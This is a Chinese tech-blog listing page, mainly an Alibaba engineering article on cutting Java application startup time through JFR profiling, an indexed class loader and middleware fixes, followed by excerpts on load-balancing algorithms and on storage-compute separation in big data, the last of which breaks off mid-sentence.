解决方案1、我们选择JFR作为应用启动性能剖析的基础工具。JFR开销低,内建在JDK中无第三方依赖,且数据丰富。JFR会周期性记录Running状态的线程的栈,可以构建CPU热点火焰图。JFR也记录了类加载、GC、文件IO、SocketIO、编译、VM Operation、Lock等事件,可以回溯线程的关键活动。对于早期版本JFR可能存在性能问题的特性,我们也支持自动切换到aync-profiler以更低开销实现相同功能。2、为了降低JFR的使用门槛,我们封装了一个javaagent,通过在启动命令中增加javaagent参数,即可快速使用JFR。我们在javaagent中内置了文件收集和上传功能,打通数据收集、上传、分析和交互等关键环节,实现开箱即用。3、我们开发了一个Web版本的分析器(或者平台),它接收到javaagent收集上传的数据后,便可以直接查看和分析。我们开发了功能更丰富和易用的火焰图和线程活动图。在类加载和资源文件加载方面我们也做了专门的分析,类似URLClassLoader在大量Jar包场景下的Class Loading开销大、Tomcat的WebAppClassLoader在大量jar包场景下getResource开销大、并发控制不合理导致锁争抢线程等待等问题都变得显而易见,未来还将提供评估开启CDS(Class Data Sharing)以及JarIndex后可以节省时间的预估能力。5.2.3 原理当Oracle在OpenJDK11上开源了JDK Flight Recorder之后,阿里巴巴也是作为主要的贡献者,与社区包括 RedHat 等,一起将 JFR 移植到了 OpenJDK 8。JFR是OpenJDK内置的低开销的监控和性能剖析工具,它深度集成在了虚拟机各个角落。JFR由两个部分组成:第1个部分分布在虚拟机的各个关键路径上,负责捕获信息;第2个部分是虚拟机内的单独模块,负责接收和存储第1个部分产生的数据。这些数据通常也叫做事件。JFR包含160种以上的事件。JFR的事件包含了很多有用的上下文信息以及时间戳。比如文件访问,特定GC阶段的发生,或者特定GC阶段的耗时,相关的关键信息都被记录到事件中。尽管JFR事件在他们发生时被创建,但JFR并不会实时的把事件数据存到硬盘上,JFR会将事件数据保存在线程变量缓存中,这些缓存中的数据随后会被转移到一个global ring buffer。当global ring buffer写满时,才会被一个周期性的线程持久化到磁盘。虽然JFR本身比较复杂,但它被设计为低CPU和内存占用,总体开销非常低,大约1%甚至更低。所以JFR适合用于生产环境,这一点和很多其它工具不同,他们的开销一般都比JFR大。JFR不仅仅用于监控虚拟机自身,它也允许在应用层自定义事件,让应用程序开发者可以方便的使用JFR的基础能力。有些类库没有预埋JFR事件,也不方便直接修改源代码,我们则用javaagent机制,在类加载过程中,直接用ASM修改字节码插入JFR事件记录的能力。比如Tomcat的WebAppClassLoader,为了记录getResource事件,我们就采用了这个方法。整个系统的结构如下:六、ClassLoader提速6.1 现状集团整套电商系统已经运行好多年了,机器上运行的jar包,不会因为最近大环境不好而减少,只会逐年递增,而中台的几个核心应用,所有业务都在上面开发,膨胀得更加明显,比如热点应用A机器上运行的jar包就有三千多个,jar包中包含的资源文件数量更是达到了上万级别,通过工具分析,启动有180秒以上是花在ClassLoader上,占总耗时的1/3以上,其中占比大头的是findResource的耗时。不论是loadClass还是getResource,最终都会调用到findResource,慢主要是慢在资源的检索上。现在spring框架几乎是每个java必备的,各种annotation,各种扫包,虽然极大的方便开发者,但也给应用的启动带来不少的负担。目前集团有上万多个Java应用,ClassLoader如果可以进行优化,将带来非常非常可观的收益。6.2 解决方案优化的方案可以简单的用一句话概括,就是给URLClassLoader的资源查找加索引。6.3 提速效果目前中台核心应用都已升级,基本都有100秒以上的启动提速,占总耗时的20~35%,效果非常明显!6.4 原理6.4.1 原生URLClassLoader为什么会慢java的JIT(just in time)即时编译,想必大家都不陌生,JDK里不仅仅是类的装载过程按这个思想去设计的,类的查找过程也是一样的。通过研读URLClassPath的实现,你会发现以下几个特性:URLClassPath初始化的时候,所有的URL都没有open;findResources会比findResource更快的返回,因为实际并没有查找,而是在调用Enumeration的next() 的时候才会去遍历查找,而findResource去找了第一个;URL是在遍历过程逐个open的,会转成Loader,放到loaders里(数组结构,决定了顺序)和lmap中(Map结构, 防止重复加载);一个URL可以通过Class-Path引入新的URL(所以,理论上是可能存在新URL又引入新的URL,无限循环的场景);因为URL和Loader是会在遍历过程中动态新增,所以URLClassPath#getLoader(int index) 里加了两把锁;这些特性就是为了按需加载(懒加载),遍历的过程是O(N)的复杂度,按顺序从头到尾的遍历,而且遍历过程可能会伴随着URL的打开,和新URL的引入,所以,随着jar包数量的增多,每次loadClass或者findResources的耗时会线性增长,调用次数也会增长(加载的类也变多了),启动就慢下去了。慢的另一个次要原因是,getLoader(int index)加了两把锁。6.4.2 JDK为什么不给URLClassLoader加索引跟数据库查询一样,数量多了,加个索引,立杆见效,那为什么URLClassLoader里没加索引。其实,在JDK8里的URLClassPath代码里面,是可以看到索引的踪影的,通过加“-Dsun.cds.enableSharedLookupCache=true”来打开,但是,换各种姿势尝试了数次,发现都没生效,lookupCacheEnabled始终是false,通过debug发现JDK启动的过程会把这个变量从System的properties里移除掉。另外,最近都在升JDK11,也看了一下它里面的实现,发现这块代码直接被删除的干干净净,不见踪影了。通过仔细阅读URLClassPath的代码,JDK没支持索引的原因有以下3点:原因一:跟按需加载相矛盾,且URL的加载有不确定性建索引就得提前将所有URL打开并遍历一遍,这与原先的按需加载设计相矛盾。另外,URL的加载有2个不确定性:一是可能是非本地文件,需要从网络上下载jar包,下载可能快,可能慢,也可能会失败;二是URL的加载可能会引入新的URL,新的URL又可能会引入新的URL。原因二:不是所有URL都支持遍历URL的类型可以归为3种:1. 本地文件目录,如classes目录;2. 本地或者远程下载下来的jar包;3. 其他URL。前2种是最基本最常见的,可以进行遍历的,而第3种是不一定支持遍历,默认只有一个get接口,传入确定性的name,返回有或者没有。原因三:URL里的内容可能在运行时被修改比如本地文件目录(classes目录)的URL,就可以在运行时往改目录下动态添加文件和类,URLClassLoader是能加载到的,而索引要支持动态更新,这个非常难。6.4.3 FastURLClassLoader如何进行提速首先必须承认,URLClassLoader需要支持所有场景都能建索引,这是有点不太现实的,所以,FastURLClassLoader设计之初只为满足绝大部分使用场景能够提速,我们设计了一个enable的开关,关闭则跟原生URLClassLoader是一样的。另外,一个java进程里经常会存在非常多的URLClassLoader实例,不能将所有实例都开打fast模式,这也是没有直接在AliJDK里修改原生URLClassLoader的实现,而是新写了个类的原因。FastURLClassLoader继承了URLClassLoader,核心是将URLClassPath的实现重写了,在初始化过程,会将所有的Loader进行初始化,并遍历一遍生成index索引,后续findResources的时候,不是从0开始,而是从index里获取需要遍历的Loader数组,这将原来的O(N)复杂度优化到了O(1),且查找过程是无锁的。FastURLClassLoader会有以下特征:特征一:初始化过程不是懒加载,会慢一些索引是在构造函数里进行初始化的,如果url都是本地文件(目录或Jar包),这个过程不会暂用过多的时间,3000+的jar,建索引耗时在0.5秒以内,内部会根据jar包数量进行多线程并发建索引。这个耗时,懒加载方式只是将它打散了,实际并没有少,而且集团大部分应用都使用了spring框架,spring启动过程有各种扫包,第一次扫包,所有URL就都打开了。特征二:目前只支持本地文件夹和Jar类型的URL如果包含其他类型的URL,会直接抛异常。虽然如ftp协议的URL也是支持遍历的,但得针对性的去开发,而且ftp有网络开销,可能懒加载更适合,后续有需要再支持。特征三:目前不支持通过META-INF/INDEX.LIST引入更多URL当前正式版本支持通过Class-Path引入更多的URL,但还不支持通过META-INF/INDEX.LIST来引入,目前还没碰用到这个的场景,但可以支持。通过Class-Path引入更多的URL比较常见,比如idea启动,如果jar太多,会因为参数过长而无法启动,转而选择使用"JAR manifest"模式启动。特征四:索引是初始化过程创建的,除了主动调用addURL时会更新,其他场景不会更新比如在classes目录下,新增文件或者子目录,将不会更新到索引里。为此,FastURLClassLoader做了一个兜底保护,如果通过索引找不到,会降级逐一到本地目录类型的URL里找一遍(大部分场景下,目录类型的URL只有一个),Jar包类型的URL一般不会动态修改,所以没找。6.5 注意事项索引对内存的开销:索引的是jar包和它目录和根目录文件的关系,所以不是特别大,热点应用A有3000+个jar包,INDEX.LIST的大小是3.2M同名类的仲裁:tomcat在没有INDEX.LIST的情况下,同名类使用哪个jar包中的,存在一定不确性,添加索引后,仲裁优先级是jar包名称按字母排序来的,保险起见,可以对启动后应用加载的类进行对比验证。七、阿里中间件提速在阿里集团的大部分应用都是依赖了各种中间件的Java应用,通过对核心中间件的集中优化,提升了各java应用的整体启动时间,提速8%。7.1 Dubbo3 启动优化7.1.1 现状Dubbo3 作为阿里巴巴使用最为广泛的分布式服务框架,服务集团内数万个应用,它的重要性自然不言而喻;但是随着业务的发展,应用依赖的 Jar 包 和 HSF 服务也变得越来越多,导致应用启动速度变得越来越慢,接下来我们将看一下 Dubbo3 如何优化启动速度。7.1.2 Dubbo3 为什么会慢Dubbo3 作为一个优秀的 RPC 服务框架,当然能够让用户能够进行灵活扩展,因此 Dubbo3 框架提供各种各样的扩展点一共 200+ 个。Dubbo3 的扩展点机制有点类似 JAVA 标准的 SPI 机制,但是 Dubbo3 设置了 3 个不同的加载路径,具体的加载路径如下:也就是说,一个 SPI 的加载,一个 ClassLoader 就需要扫描这个 ClassLoader 下所有的 Jar 包 3 次。以 热点应用A为例,总的业务 Bundle ClassLoader 数达到 582 个左右,那么所有的 SPI 加载需要的次数为: 200(spi) 3(路径) 582(classloader) = 349200次。可以看到扫描次数接近 35万 次! 并且整个过程是串行扫描的,而我们知道 java.lang.ClassLoader#getResources 是一个比较耗时的操作,因此整个 SPI 加载过程耗时是非常久的。7.1.3 SPI 加载慢的解决方法由我们前面的分析可以知道,要想减少耗时,第一是需要减少 SPI 扫描的次数,第二是提升并发度,减少无效等待时间。第一个减少 SPI 扫描的次数,我们经过分析得知,在整个集团的业务应用中,使用到的 SPI 集中在不到 10 个 SPI,因此我们疏理出一个 SPI 列表,在这个 SPI 列表中,默认只从 Dubbo3 框架所在 ClassLoader 的限定目录加载,这样大大下降了扫描次数,使热点应用A总扫描计数下降到不到 2万 次,占原来的次数 5% 这样。第二个提升了对多个 ClassLoader 扫描的效率,采用并发线程池的方式来减少等待的时间,具体代码如下:7.1.4 其他优化手段1、去除启动关键链路的非必要同步耗时动作,转成异步后台处理。2、缓存启动过程中查询第三方可缓存的结果,反复重复使用。7.1.5 优化结果热点应用A启动时间从 603秒 下降到 220秒,总体时间下降了 383秒 => 603秒 下降到 220秒,总体时间下降了 383秒。7.2 TairClient 启动优化背景介绍:1、tair:阿里巴巴内部的缓存服务,类似于公有云的redis;2、diamond:阿里巴巴内部配置中心,目前已经升级成MSE,和公有云一样的中间件产品7.2.1 现状目前中台基础服务使用的tair集群均使用独立集群,独立集群中使用多个NS(命名空间)来区分不同的业务域,同时部分小的业务也会和其他业务共享一个公共集群内单个NS。早期tair的集群是通过configID进行初始化,后来为了容灾及设计上的考虑,调整为使用username进行初始化访问,但username内部还是会使用configid来确定需要链接的集群。整个tair初始化过程中读取的diamond配置的流程如下:1、根据userName获取配置信息,从配置信息中可以获得TairConfigId信息,用于标识所在集群dataid:ocs.userinfo.{username}group : DEFAULT_GROUP2、根据ConfigId信息,获取当前tair的路由规则,规定某一个机房会访问的集群信息。dataId: {tairConfigId}group : {tairConfigId}.TGROUP通过该配置可以确定当前机房会访问的目标集群配置,以机房A为例,对应的配置集群tair.mdb.mc.XXX.机房A3、获取对应集群的信息,确定tair集群的cs列表dataid:{tairConfigId} // tair.mdb.mc.uicgroup : {tairClusterConfig} // tair.mdb.mc.uic.机房A从上面的分析来看,在每次初始化的过程中,都会访问相同的diamond配置,在初始化多个同集群的namespace的时候,部分关键配置就会多次访问。但实际这部分diamond配置的数据本身是完全一致。由于diamond本身为了保护自身的稳定性,在客户端对访问单个配置的频率做了控制,超过一定的频率会进入等待超时阶段,这一部分导致了应用的启动延迟。在一分钟的时间窗口内,限制单个diamond配置的访问次数低于-DlimitTime配置,默认配置为5,对于超过限制的配置会进入等待状态。7.2.2 优化方案tair客户端进行改造,启动过程中,对Diamond的配置数据做缓存,配置监听器维护缓存的数据一致性,tair客户端启动时,优先从缓存中获取配置,当缓存获取不到时,再重新配置Diamond配置监听及获取Diamond配置信息。7.3 SwitchCenter 启动优化背景介绍:SwitchCenter:阿里巴巴集团内部的开关平台,对应阿里云AHAS云产品[8]7.3.1 现状All methods add synchronized made this class to be thread safe. switch op is not frequent, so don't care about performance here.这是switch源码里存放各个switch bean 的SwitchContainer中的注释,可见当时的作者认为switch bean只需初始化一次,本身对性能的影响不大。但没有预料到随着业务的增长,switch bean的初始化可能会成为应用启动的瓶颈。业务平台的定位导致了平台启动期间有大量业务容器初始化,由于switch中间件的大部分方法全部被synchronized修饰,因此所有应用容器初始化到了加载开关配置时(入口为com.taobao.csp.switchcenter.core.SwitchManager#init())就需要串行执行,严重影响启动速度。7.3.2 解决方案去除了关键路径上的所有锁。7.3.3 原理本次升级将存放配置的核心数据结构修改为了ConcurrentMap,并基于putIfAbsent等 j.u.c API 做了小重构。值得关注的是修改后原先串行的对diamond配置的获取变成了并行,触发了diamond服务端限流,在大量获取相同开关配置的情况下有很大概率抛异常启动失败。(如图: 去锁后,配置获取的总次数不变,但是请求速率变快)为了避免上述问题:在本地缓存switch配置的获取diamond监听switch配置的变更,确保即使switch配置被更新,本地的缓存依然是最新的7.4 TDDL启动优化背景介绍:TDDL:基于 Java 语言的分布式数据库系统,核心能力包括:分库分表、透明读写分离、数据存储平滑扩容、成熟的管控系统。7.4.1 现状TDDL在启动过程,随着分库分表规则的增加,启动耗时呈线性上涨趋势,在国际化多站点的场景下,耗时增长会特别明显,未优化前,我们一个核心应用TDDL启动耗时为120秒+(6个库),单个库启动耗时20秒+,且通过多个库并行启动,无法有效降低耗时。7.4.2 解决方案通过工具分析,发现将分库分表规则转成groovy脚本,并生成groovy的class,这块逻辑总耗时非常久,调用次数非常多,且groovy在parseClass里头有加锁(所以并行无效果)。调用次数多,是因为生成class的个数,会剩以物理表的数量,比如配置里只有一个逻辑表 + 一个规则(不同表的规则也存在大量重复),分成1024张物理表,实际启动时会产生1024个规则类,存在大量的重复,不仅启动慢,还浪费了很多metaspace。优化方案是新增一个全局的GuavaCache,将规则和生成的规则类实例存放进去,避免相同的规则去创建不同的类和实例。八、其他提速除了前面几篇文章提到的优化点(ClassLoader优化、中间件优化等)以外,我们还对中台核心应用做了其他启动优化的工作。8.1 aspectj相关优化8.1.1 现状在进行启动耗时诊断的时候,意外发现aspectj耗时特别久,达到了54秒多,不可接受。通过定位发现,如果应用里有使用到通过注解来判断是否添加切面的规则,aspectj的耗时就会特别久。以下是热点应用A中的例子:8.1.2 解决方案将aspectj相关jar包版本升级到1.9.0及以上,热点应用A升级后,aspectj耗时从54.5秒降到了6.3秒,提速48秒多。另外,需要被aspectj识别的annotation,RetentionPolicy需要是RUNTIME,不然会很慢。8.1.3 原理通过工具采集到老版本的aspectj在判断一个bean的method上是否有annotation时的代码堆栈,发现它去jar包里读取class文件并解析类信息,耗时耗在类搜索和解析上。当看到这个的时候,第一反应就是,java.lang,Method不是有getAnnotation方法么,为什么要绕一圈自己去从jar包里解析出来。不太理解,就尝试去看看最新版本的aspectj这块是否有改动,最终发现升级即可解决。aspectj去class原始文件中读取的原因是annotation的RetentionPolicy如果不是RUNTIME的话,运行时是获取不到的,详见:java.lang.annotation.RetentionPolicy的注释1.8.8版本在判断是否有注解的逻辑:1.9.8版本在判断是否有注解的逻辑:与老版本的差异在于会判断annotation的RetentionPolicy是不是RUNTIME的,是的话,就直接从Method里获取了。老版本aspectj的相关执行堆栈:(格式:时间|类名|方法名|行数)8.2 tbbpm相关优化(javassist & javac)8.2.1 现状中台大部分应用都使用tbbpm流程引擎,该引擎会将流程配置文件编译成java class来进行调用,以提升性能。tbbpm默认是使用com.sun.tools.javac.Main工具来实现代码编译的,通过工具分析,发现该过程特别耗时,交易应用A这块耗时在57秒多。8.2.2 解决方案通过采用javassist来编译bpm文件,应用A预编译bpm文件的耗时从57秒多降到了8秒多,快了49秒。8.2.3 原理com.sun.tools.javac.Main执行编译时,会把classpath传进去,自行从jar包里读取类信息进行编译,一样是慢在类搜索和解析上。而javassist是使用ClassLoader去获取这些信息,根据前面的文章“ClassLoader优化篇”,我们对ClassLoader加了索引,极大的提升搜索速度,所以会快非常多。javac编译相关执行堆栈:(格式:时间|类名|方法名|行数)九、持续地...激情一辆车,可以从直升机上跳伞,也可以飞驰在冰海上,甚至可以安装上火箭引擎上太空。上天入地没有什么不可能,只要有想象,有创新。我们的研发基础设施与工具还在路上,还在不断改造的路上,还有很多的速度与激情可以追求。参考链接:[1]https://github.com/apache/maven-resolver/blob/master/maven-resolver-impl/src/main/java/org/eclipse/aether/internal/impl/collect/bf/BfDependencyCollector.java[2]https://github.com/JetBrains/intellij-community/blob/1e1f83264bbb4cb7ba3ed08fe0915aa990231611/plugins/maven/maven3-server-impl/src/org/jetbrains/idea/maven/server/Maven3XServerEmbedder.java[3]https://github.com/moby/moby/issues/1266[4]https://github.com/moby/buildkit/pull/3053[5]https://docs.oracle.com/javase/8/docs/technotes/guides/vm/class-data-sharing.html[6]https://docs.oracle.com/javase/8/docs/technotes/tools/enhancements-8.html[7]https://openjdk.java.net/jeps/310[8]https://help.aliyun.com/document_detail/155939.html推荐阅读1.研发效能的思考总结2.关于技术能力的思考和总结3. 如何结构化和清晰地进行表达《Java开发手册(嵩山版)》《Java 开发手册》始于阿里内部规约,在全球 Java 开发者共同努力下,已成为业界普遍遵循的开发规范,手册涵盖编程规约、异常日志、单元测试、安全规约、MySQL 数据库、工程规约、设计规约七大维度。《Java开发手册(嵩山版)》经过不断地精进与苦练终于出山啦,它的内功提升之处在于依据约束力强弱及故障敏感性,规约依次分为【强制】、【推荐】、【参考】三大类。最后,祝各位码林高手能够码出高效,码出质量!点击这里,查看详情。
文章
存储  ·  缓存  ·  NoSQL  ·  算法  ·  Java  ·  中间件  ·  Maven  ·  Docker  ·  索引  ·  容器
2022-09-01
JAVA面试——负载均衡(一)
负载均衡 建立在现有网络结构之上,它提供了一种廉价有效透明的方法扩展网络设备和服务器的带宽、增加吞吐量、加强网络数据处理能力、提高网络的灵活性和可用性18.1.1.1. 四层负载均衡(目标地址和端口交换)主要通过报文中的目标地址和端口,再加上负载均衡设备设置的服务器选择方式,决定最终选择的内部服务器。以常见的 TCP 为例,负载均衡设备在接收到第一个来自客户端的 SYN 请求时,即通过上述方式选择一个最佳的服务器,并对报文中目标 IP 地址进行修改(改为后端服务器 IP),直接转发给该服务器。TCP 的连接建立,即三次握手是客户端和服务器直接建立的,负载均衡设备只是起到一个类似路由器的转发动作。在某些部署情况下,为保证服务器回包可以正确返回给负载均衡设备,在转发报文的同时可能还会对报文原来的源地址进行修改。实现四层负载均衡的软件有:F5:硬件负载均衡器,功能很好,但是成本很高。lvs:重量级的四层负载软件。nginx:轻量级的四层负载软件,带缓存功能,正则表达式较灵活。haproxy:模拟四层转发,较灵活。18.1.1.2. 七层负载均衡(内容交换)所谓七层负载均衡,也称为“内容交换”,也就是主要通过报文中的真正有意义的应用层内容,再加上负载均衡设备设置的服务器选择方式,决定最终选择的内部服务器。七层应用负载的好处,是使得整个网络更智能化。例如访问一个网站的用户流量,可以通过七层的方式,将对图片类的请求转发到特定的图片服务器并可以使用缓存技术;将对文字类的请求可以转发到特定的文字服务器并可以使用压缩技术。实现七层负载均衡的软件有:haproxy:天生负载均衡技能,全面支持七层代理,会话保持,标记,路径转移;nginx:只在 http 协议和 mail 协议上功能比较好,性能与 haproxy 差不多;apache:功能较差Mysql proxy:功能尚可。18.1.2. 负载均衡算法/策略18.1.2.1. 轮循均衡(Round Robin)每一次来自网络的请求轮流分配给内部中的服务器,从 1 至 N 然后重新开始。此种均衡算法适合于服务器组中的所有服务器都有相同的软硬件配置并且平均服务请求相对均衡的情况。18.1.2.2. 权重轮循均衡(Weighted Round Robin)根据服务器的不同处理能力,给每个服务器分配不同的权值,使其能够接受相应权值数的服务请求。例如:服务器 A 的权值被设计成 1,B 的权值是 3,C 的权值是 6,则服务器 A、B、C 将分别接受到 10%、30%、60%的服务请求。此种均衡算法能确保高性能的服务器得到更多的使用率,避免低性能的服务器负载过重。18.1.2.3. 随机均衡(Random)把来自网络的请求随机分配给内部中的多个服务器。18.1.2.4. 权重随机均衡(Weighted Random)此种均衡算法类似于权重轮循算法,不过在处理请求分担时是个随机选择的过程。18.1.2.5. 响应速度均衡(Response Time 探测时间)负载均衡设备对内部各服务器发出一个探测请求(例如 Ping),然后根据内部中各服务器对探测请求的最快响应时间来决定哪一台服务器来响应客户端的服务请求。此种均衡算法能较好的反映服务器的当前运行状态,但这最快响应时间仅仅指的是负载均衡设备与服务器间的最快响应时间,而不是客户端与服务器间的最快响应时间。18.1.2.6. 最少连接数均衡(Least Connection)最少连接数均衡算法对内部中需负载的每一台服务器都有一个数据记录,记录当前该服务器正在处理的连接数量,当有新的服务连接请求时,将把当前请求分配给连接数最少的服务器,使均衡更加符合实际情况,负载更加均衡。此种均衡算法适合长时处理的请求服务,如 FTP。18.1.2.7. 处理能力均衡(CPU、内存)此种均衡算法将把服务请求分配给内部中处理负荷(根据服务器 CPU 型号、CPU 数量、内存大小及当前连接数等换算而成)最轻的服务器,由于考虑到了内部服务器的处理能力及当前网络运行状况,所以此种均衡算法相对来说更加精确,尤其适合运用到第七层(应用层)负载均衡的情况下。18.1.2.8. DNS 响应均衡(Flash DNS)在此均衡算法下,分处在不同地理位置的负载均衡设备收到同一个客户端的域名解析请求,并在同一时间内把此域名解析成各自相对应服务器的 IP 地址并返回给客户端,则客户端将以最先收到的域名解析 IP 地址来继续请求服务,而忽略其它的 IP 地址响应。在种均衡策略适合应用在全局负载均衡的情况下,对本地负载均衡是没有意义的。18.1.2.9. 哈希算法一致性哈希一致性 Hash,相同参数的请求总是发到同一提供者。当某一台提供者挂时,原本发往该提供者的请求,基于虚拟节点,平摊到其它提供者,不会引起剧烈变动。18.1.2.10. IP 地址散列(保证客户端服务器对应关系稳定)通过管理发送方 IP 和目的地 IP 地址的散列,将来自同一发送方的分组(或发送至同一目的地的分组)统一转发到相同服务器的算法。当客户端有一系列业务需要处理而必须和一个服务器反复通信时,该算法能够以流(会话)为单位,保证来自相同客户端的通信能够一直在同一服务器中进行处理。18.1.2.11.URL 散列通过管理客户端请求 URL 信息的散列,将发送至相同 URL 的请求转发至同一服务器的算法18.1.3. LVS18.1.3.1. LVS 原理IPVSLVS 的 IP 负载均衡技术是通过 IPVS 模块来实现的,IPVS 是 LVS 集群系统的核心软件,它的主要作用是:安装在 Director Server 上,同时在 Director Server 上虚拟出一个 IP 地址,用户必须通过这个虚拟的 IP 地址访问服务器。这个虚拟 IP 一般称为 LVS 的 VIP,即 Virtual IP。访问的请求首先经过 VIP 到达负载调度器,然后由负载调度器从 Real Server 列表中选取一个服务节点响应用户的请求。 在用户的请求到达负载调度器后,调度器如何将请求发送到提供服务的 Real Server 节点,而 Real Server 节点如何返回数据给用户,是 IPVS 实现的重点技术。ipvs : 工作于内核空间,主要用于使用户定义的策略生效ipvsadm : 工作于用户空间,主要用于用户定义和管理集群服务的工具
文章
域名解析  ·  缓存  ·  负载均衡  ·  算法  ·  网络协议  ·  Java  ·  应用服务中间件  ·  调度  ·  nginx  ·  网络架构
2023-03-16
大数据上云存算分离演进思考与探讨-2022
写在前面作者:振策-阿里云计算平台产品解决方案存算分离,数据湖,在离线混部在这些名词越来越多的出现在各行各业数字化转型的关键活动中。此文仅从大数据产品商业化从业者的视角来探讨与分析大数据领域的存算分离演进过程,核心价值,与相关所产生的蓬勃技术生态。内容来自阿里云计算平台大数据技术商业化思考与实践,与大家共同探讨。0.[起源]存算分离不是新架构数据架构起源:Figure 1: 数据架构迭代演进以上三张图分别代表过去三十年大规模数据架构演进过程。第一张图是最早的Shared-Disk架构主要是通过独立定制网络NAS于存储架构来实现第一代的存算分离架构,性能好但成本较高, 可扩展性较差(ScaleUp)。其中StorageAreaNetwork作为网络存储体系结构,采用网状通道(Fibre Channel ,简称FC,区别与Fiber Channel光纤通道)技术,通过FC交换机连接存储阵列和服务器主机,建立专用于数据存储的区域网络。第二张图是过去十几年Shared-Nothing架构大行其道,主要用于分布式数据仓库/大数据应用场景上,其特点在于性能好且性价比高,有一定的可扩展性(ScaleOut)。可以通过普通硬件实现类似高成本数据存储阵列所实现的效果。过去由于网络带宽的限制,我们习惯性的把计算和存储偶合在一起,以减少网络传输的压力。传统Hadoop大数据架构是MapReduce和HDFS,是用优先本地IO后网络传输,是存算一体的一种形态。但由于这样的架构,导致在资源利用率,异构工作负载等方面存在明显短板。第三图是为了解决存算一体架构问题而诞生的新一代存算分离架构Storage Disaggregation。其背景与趋势我在这里做一下阐述。背景一: 高速网络全面普及。以太网传输协议和带宽能力已不再是IO瓶颈。因为网络的高速发展,以及大数据计算框架对 IO 的优化,使得数据本地化已经不再重要,存储和计算分离的架构才是未来。高速以太网Ethernet吞吐量大幅提升而成本和部署灵活性相比FC和IB有大幅度改善,足以应对从当年的千兆迈入10GB,25GB,甚至100GB时代。无阻塞转发网络:比如FaceBook采用了CLOS网络拓扑,实现了分解式的网络,网络不会成为性能瓶颈,同时提供了灵活的组网能力。背景二: 云计算兴起,所带来低成本可扩展的网络存储方案在 AWS 等公有云上,基于新网络架构的块存储/对象存储逐步取代了单机的本地存储,使得公有云上的计算和存储耦合架构更加不合理。针对公有云设计的大数据分析服务,一开始就是采用了计算和存储分离的架构(直接使用 S3 作为存储)。这给产品带来了非常大的灵活性,按需创建和自动弹性伸缩的 Spark 集群是一大卖点(还能最大限度使用 Spot 节点来大大降低计算成本),非常受客户欢迎。AWS 上的先驱也是使用 S3 作为大数据的存储,他们针对 Hive 等做了很多改造才能稳定使用 (不是开源的S3mper)。趋势一:云计算AWS首先提出基于在公共云架构下云原生存算分离产品。基于存算分离的云原生数据库。数据库2014年AWS首次推出了Aurora,阿里云在2017年推出了云原生数据库PolarDB。华为云在2020年推出了GaussDB for MySQL,华为存储也在2021年针对企业自建数据中心,推出OceanData分布式数据库存算分离方案。趋势二:大数据从数据本地化Data Locality到DisAggData Locality在大数据领域发展的前期更加重要,主要是因为分布式计算跨服务器的带宽瓶颈(2012年之前,跨核心交换机的带宽收敛比基本在1:10),所以超大规模大数据计算的调度器对数据和计算locality匹配,需要特别优化。因为存储具有搬移困难的特点,2012年之前,做大规模计算的核心词是“Data Locality”:让计算尽量靠近数据以提升效率。当时一个公认的模型是:构建一个足够大的资源池,把数据和计算融合在里面发挥规模效应。2013 年Facebook做了一个这方面的研究,看在关闭 Hadoop 的数据本地化优化的情况下,对性能究竟有多少影响。实测表明,对计算任务的整体影响在 2%以内,对数据的本地读优化已经不那么重要了(仅限于性能,不包括成本)。后来 Facebook 就逐渐往Spark计算和存储分离的架构迁移,也对所用的大数据软件做了些调整以适应这种新的架构,他们在2015年的 Apache Spark & AI Summit 上做了主题为 <Taking Advantage of a Disaggregated Storage and Compute Architecture> 详细的分享,他们把这种架构称为 Storage DisAggregation。Figure 2: Spark Disagg1.[定义]当前存算分离能力思考新一代的存算分离StorageDisagg架构逐步普及的当下, 如何定义存算分离架构下的能力标准?如何确保以通用存算分离标准实现可扩展可运维的下一代大数据架构?如何确保存算分离架构的ROI为正?是我们一直在思考和探索的问题答案。围绕这存算分离具体应用场景,我们大致可以得到以下7个重要定义指标用于定义存算分离能力标准。[系统态]计算节点集群与存储节点集群分离, 分别支持独立弹性扩缩容物理集群节点[系统态]计算层无状态,支持热升级 / 存储层数据无需重分布[用户态]用户可配置计算与存储资源成本计费分拆,精细化成本核算优化。[用户态]用户可配置计算资源与存储资源独立弹性扩缩容。公共云以分时Quota能力体现。[用户态]存储服务化。其形态有开放共享存储形态和存储开放服务形态非独占的统一开放存储系统服务。多源数据存放在共享存储服务, 资源优化利用。提供统一存储Service外部访问接口,性能与稳定性更优,支持可访问可查询可分析/默认多副本。[用户态]多种计算引擎查询访问此统一存储系统服务。计算引擎可访问多种统一存储系统服务[用户态]统一计算资源管控,细粒度资源单位拆分,按照细资源单元做弹性扩缩容以上的7个重要定义指标无论公共云与非公共云形态下都适用。2.[价值]存算分离的业务价值分析-业务问题/业务场景/业务价值在互联网广泛使用的存算分离架构,当前已在政企金融等行业越来越讨论到。企业将大数据上云与存算分离当作数字化转型中架构升级的必要路径。无论是内外部客户与同行都把存算分离当作救命稻草与灵丹妙药。用存算分离架构升级就能解决当前所遇到所有技术资源瓶颈与业务滞涨。这样的理解是有问题的,主要是缺少对其中背后的核心价值评估。很多人说存算分离的需求很明确,存算分离技术方案就有价值且值得做的。笔者要说是需求与价值不完全等同。需求是价值的源头, 价值是需求的最终呈现方式。在实际业务实践中,往往需求方和决策方不是同一方。存算分离需求清晰明确后,我们需要思考如何存算分离改造后可量化的价值在哪里。存算分离是技术手段,那核心目的or价值到底是reduce cost or involution fast?2.1.为什么要做存算分离?无论是所有的技术架构升级与业务改造, 其根本逻辑就是一本投入产出价值的经济帐。源于网络带宽的能力提升与成本下降,云计算带动了网络存储方案的低成本普及。此为技术突破准备。海量数据的激增(数据多、算不动)促使企业从数据管理走向数据运营,到面临成本高、存不下;效率低、流不动;自动化差、管不好三大挑战。此为问题需求。越来越多的企业发现相较于之前DataLocality的存算一体架构,新一代存算分离架构能够提供在性能不下降的情况更低成本的大数据方案。此为架构升级。总体上看,对存算分离的诉求以大数据资源效率+稳定性提升是首要目的,此外还包含着业务效率提升诉求(技术创新/业务增效)。业务优先的客户对存算分离的诉求在于降低成本与业务稳定性提升。技术与业务并重的客户对存算分离的诉求在于成本优化与业务增效升级。从当前计算平台云原生存算分离业务实践来看,主要包括以下几个方面的核心价值:资源效率优化资源利用率提高:计算与存储资源解耦,资源使用成本优化。作为底层的资源平台,基础IT环境的资源总是有限的,站在业务的角度是往往是存储先于计算达到瓶颈,到达时间点是不一样的。由于计算和存储的耦合设计,无论扩计算还是扩存储,都在会造成资源的浪费;异构计算负载混部:在统一存储平台提供面向异构计算的工作负载下的多维度查询分析服务。存储降本: 